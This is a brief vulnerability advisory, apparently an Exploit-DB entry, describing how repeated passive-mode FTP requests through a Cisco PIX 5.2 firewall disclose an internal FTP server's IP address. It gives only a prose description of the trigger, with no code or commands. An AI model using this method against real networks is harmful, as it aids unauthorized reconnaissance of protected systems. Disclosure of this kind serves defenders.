Cisco PIX Firewall 5.2 PASV Mode FTP Internal Address Disclosure Vulnerability (EDBID:20369)

The Cisco PIX is a popular firewall network device. 

It is possible to configure the PIX so that it hides the IP address of internal ftp servers from clients connecting to it. By sending a number of requests to enter passive ftp mode (PASV) during an ftp session, the IP address will eventually be disclosed. It is not known what exactly causes this condition.

This has been verified on versions 5.2(4) and 5.2(2) of the PIX firmware and probably affects other versions.

Cisco PIX PASV Mode FTP Internal Address Disclosure

- 漏洞描述

Cisco PIX contains a flaw that may lead to an unauthorized information disclosure. The issue is triggered when an attacker sends multiple PASV requests to a protected FTP server, which will disclose the server's internal IP address information resulting in a loss of confidentiality.
